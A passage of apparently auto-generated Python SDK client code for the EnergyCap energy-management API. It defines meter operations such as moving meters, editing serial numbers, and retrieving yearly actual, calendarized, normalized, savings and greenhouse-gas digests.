header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[GHGFactorsResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_ghg_meter_factors.metadata = {'url': '/api/v3/meter/{meterId}/ghg/factor'}
def get_calendarized_use_vs_weather_data(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Get calendarized Use vs Weather data.
:param meter_id: The meter identifier
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.MeterCalendarizedUseVsWeatherResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_calendarized_use_vs_weather_data.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[MeterCalendarizedUseVsWeatherResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_calendarized_use_vs_weather_data.metadata = {'url': '/api/v3/meter/{meterId}/usevsweather/calendarized'}
def move_meter(
self, parent_place_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Move list of meters to be under parentPlaceId.
:param parent_place_id: The identifier for the new parent place
:type parent_place_id: int
:param body: List of meterIds to move under the parentPlaceId
:type body: list[int]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.move_meter.metadata['url']
path_format_arguments = {
'parentPlaceId': self._serialize.url("parent_place_id", parent_place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[int]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
move_meter.metadata = {'url': '/api/v3/parentPlace/{parentPlaceId}/meter'}
def edit_meter_serial_number_version(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""
:param meter_id:
:type meter_id: int
:param body:
:type body: ~energycap.sdk.models.MeterSerialNumberHistoryRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterSerialNumberHistoryResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.MeterSerialNumberHistoryResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_meter_serial_number_version.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'MeterSerialNumberHistoryRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterSerialNumberHistoryResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_meter_serial_number_version.metadata = {'url': '/api/v3/meter/{meterId}/serialnumberversion'}
def edit_wattics_data_point_link(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit wattics data on a meter.
:param meter_id: The meter identifier for the meter to edit
:type meter_id: int
:param body: Wattics data to assign to the meter
:type body: ~energycap.sdk.models.WatticsDataPointRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: object or ClientRawResponse if raw=true
:rtype: object or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_wattics_data_point_link.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'WatticsDataPointRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WatticsDataPoint', response)
if response.status_code == 204:
deserialized = self._deserialize('OkObjectResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_wattics_data_point_link.metadata = {'url': '/api/v202302/meter/{meterId}/watticsDataPoint'}
def process_meter_custom_action(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Fires a custom meter action. Custom meter actions are setup as
webhooks.
:param body:
:type body: ~energycap.sdk.models.WebhookCustomAction
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WebhookLogDetailsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WebhookLogDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.process_meter_custom_action.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'WebhookCustomAction')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WebhookLogDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
process_meter_custom_action.metadata = {'url': '/api/v202211/meter/customAction'}
def get_unplaced_meters(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Get all unplaced meters.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MeterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_unplaced_meters.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[MeterResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_unplaced_meters.metadata = {'url': '/api/v202203/meter/unplacedMeters'}
def download_meter_custom_field_file(
self, meter_id, udf_id, custom_headers=None, raw=False, **operation_config):
"""Download file for a meter custom field.
:param meter_id:
:type meter_id: int
:param udf_id:
:type udf_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.download_meter_custom_field_file.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'udfId': self._serialize.url("udf_id", udf_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
download_meter_custom_field_file.metadata = {'url': '/api/v202105/meter/{meterId}/udf/{udfId}/download'}
def get_meter_actual_yearly_list(
self, number_of_years=4, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up billing data by meter for a given range of years-
Result includes cost, use, unit cost on an yearly basis.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.MeterDigestActualAndCalendarizedYearlyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_actual_yearly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[MeterDigestActualAndCalendarizedYearlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_meter_actual_yearly_list.metadata = {'url': '/api/v3/meter/digest/actual/yearly'}
def get_meter_actual_yearly(
self, meter_id, number_of_years=4, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data for a given meter for a given
range of years- Result includes cost, use, unit cost on an yearly
basis.
:param meter_id: The identifier for the meter being retrieved
:type meter_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterDigestActualAndCalendarizedYearlyResponse or
ClientRawResponse if raw=true
:rtype:
~energycap.sdk.models.MeterDigestActualAndCalendarizedYearlyResponse
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_actual_yearly.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterDigestActualAndCalendarizedYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_actual_yearly.metadata = {'url': '/api/v3/meter/{meterId}/digest/actual/yearly'}
def get_meter_calendarized_yearly_list(
self, number_of_years=4, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up calendarized data by meter for a given range of
years- Result includes cost, use, unit cost on an yearly basis.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.MeterDigestActualAndCalendarizedYearlyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_calendarized_yearly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[MeterDigestActualAndCalendarizedYearlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_meter_calendarized_yearly_list.metadata = {'url': '/api/v3/meter/digest/calendarized/yearly'}
def get_meter_calendarized_yearly(
self, meter_id, number_of_years=4, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up calendarized billing data for a given meter for a
given range of years- Result includes cost, use, unit cost on an yearly
basis.
:param meter_id: The identifier for the meter being retrieved
:type meter_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterDigestActualAndCalendarizedYearlyResponse or
ClientRawResponse if raw=true
:rtype:
~energycap.sdk.models.MeterDigestActualAndCalendarizedYearlyResponse
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_calendarized_yearly.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterDigestActualAndCalendarizedYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_calendarized_yearly.metadata = {'url': '/api/v3/meter/{meterId}/digest/calendarized/yearly'}
def get_meter_normalized_yearly_list(
self, number_of_years=4, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up normalized data by meter for a given range of
years- Result includes cost, use, unit cost on an yearly basis.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.MeterDigestNormalizedYearlyResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_normalized_yearly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[MeterDigestNormalizedYearlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_meter_normalized_yearly_list.metadata = {'url': '/api/v3/meter/digest/normalized/yearly'}
def get_meter_normalized_yearly(
self, meter_id, number_of_years=4, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up normalized billing data for a given meter for a
given range of years- Result includes cost, use, unit cost on an yearly
basis.
:param meter_id: The identifier for the meter being retrieved
:type meter_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterDigestNormalizedYearlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.MeterDigestNormalizedYearlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_normalized_yearly.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterDigestNormalizedYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_normalized_yearly.metadata = {'url': '/api/v3/meter/{meterId}/digest/normalized/yearly'}
def get_meter_savings_yearly_list(
self, number_of_years=4, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves savings data by meter for a given number of years.
:param number_of_years: Number of years of data to return including
the current year - Defaults to 4
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MeterDigestSavingsYearlyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_savings_yearly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[MeterDigestSavingsYearlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_meter_savings_yearly_list.metadata = {'url': '/api/v3/meter/digest/savings/yearly'}
def get_meter_savings_yearly(
self, meter_id, number_of_years=4, custom_headers=None, raw=False, **operation_config):
"""Retrieves savings data for a single meter for a given number of years.
:param meter_id: The meter for which to return data
:type meter_id: int
:param number_of_years: Number of years of data to return including
the current year - Defaults to 4
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterDigestSavingsYearlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.MeterDigestSavingsYearlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_savings_yearly.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterDigestSavingsYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_savings_yearly.metadata = {'url': '/api/v3/meter/{meterId}/digest/savings/yearly'}
def get_meter_ghg_yearly_list(
self, number_of_years=4, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves Greenhouse Gas data by meter for a given number of years.
:param number_of_years: Number of years of data to return including
the current year - Defaults to 4
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MeterDigestGHGYearlyResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_ghg_yearly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[MeterDigestGHGYearlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_meter_ghg_yearly_list.metadata = {'url': '/api/v3/meter/digest/ghg/yearly'}
def get_meter_ghg_yearly(
self, meter_id, number_of_years=4, custom_headers=None, raw=False, **operation_config):
"""Retrieves Greenhouse Gas data for a single meter for a given number of
years.
:param meter_id: The meter for which to return data
:type meter_id: int
:param number_of_years: Number of years of data to return including
the current year - Defaults to 4
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MeterDigestGHGYearlyResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.MeterDigestGHGYearlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_ghg_yearly.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MeterDigestGHGYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_ghg_yearly.metadata = {'url': '/api/v3/meter/{meterId}/digest/ghg/yearly'}
def get_meter_actual_monthly_list(
self, number_of_years=2, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by meter for a given range of
months- Result includes cost, use, unit cost on a monthly basis.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years of months (24 for actual and
savings, and 24 or 26 (if 13 accounting periods) for calendarized and
normalized)
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.MeterDigestActualAndCalendarizedMonthlyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_actual_monthly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
